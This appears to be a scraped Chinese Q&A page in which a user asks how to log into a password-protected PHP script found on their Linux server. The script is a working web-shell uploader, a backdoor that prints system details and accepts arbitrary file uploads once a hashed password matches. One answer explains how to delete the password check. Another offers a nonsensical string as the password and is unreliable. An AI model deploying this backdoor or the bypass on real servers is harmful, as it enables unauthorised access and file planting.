需要正确的密码才能登录php [暂停]

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了需要正确的密码才能登录php [暂停]相关的知识,希望对你有一定的参考价值。

我在Linux服务器上有一个php脚本,我可以在浏览器上显示它,这个脚本告诉我必须输入密码才能登录(上传脚本)。这是PHP代码:

<?php
session_start();

if ($_SESSION["adm"]) {
    echo '<b>Namesis<br><br>' . php_uname() . '<br></b>';
    echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
    echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
    if ($_POST['_upl'] == "Upload") {
        if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
            echo '<b>Upload Success !!!</b><br><br>';
        } else {
            echo '<b>Upload Fail !!!</b><br><br>';
        }
    }
}
if ($_POST["p"]) {
    $p = $_POST["p"];

    echo $pa = md5(sha1($p));

    if ($pa == "683ce9b1d91af441dec18dad25584421") {
        $_SESSION["adm"] = 1;
    }
}
?>
<form action="" method="post">
    <input type="text" name="p">
</form>
答案

如果您不知道密码,那么@ 04FS指出您无法反转哈希密码,因此您将不得不更改php文件。

删除if

 if ($pa == "683ce9b1d91af441dec18dad25584421") { <--
    $_SESSION["adm"] = 1;
 } 

只有

 $_SESSION["adm"] = 1;

但是我不推荐这个。这是非常糟糕的事情,但有些东西告诉我你在做什么已经很糟糕了.....

另一答案

这可能是你的密码

他喂他185,他给了他水面包

以上是关于需要正确的密码才能登录php [暂停]的主要内容,如果未能解决你的问题,请参考以下文章

即使我输入正确的密码,为什么我总是被重定向到登录页面?

PHP必用代码片段

求一个登陆程序的代码...

我用flashxp上传php开源程序时候可以暂停吗,暂停后如何继续??

php 大家帮我看看,判断用户名与密码是不是为空的代码对么

片段 null 必须是公共静态类才能从实例状态正确重新创建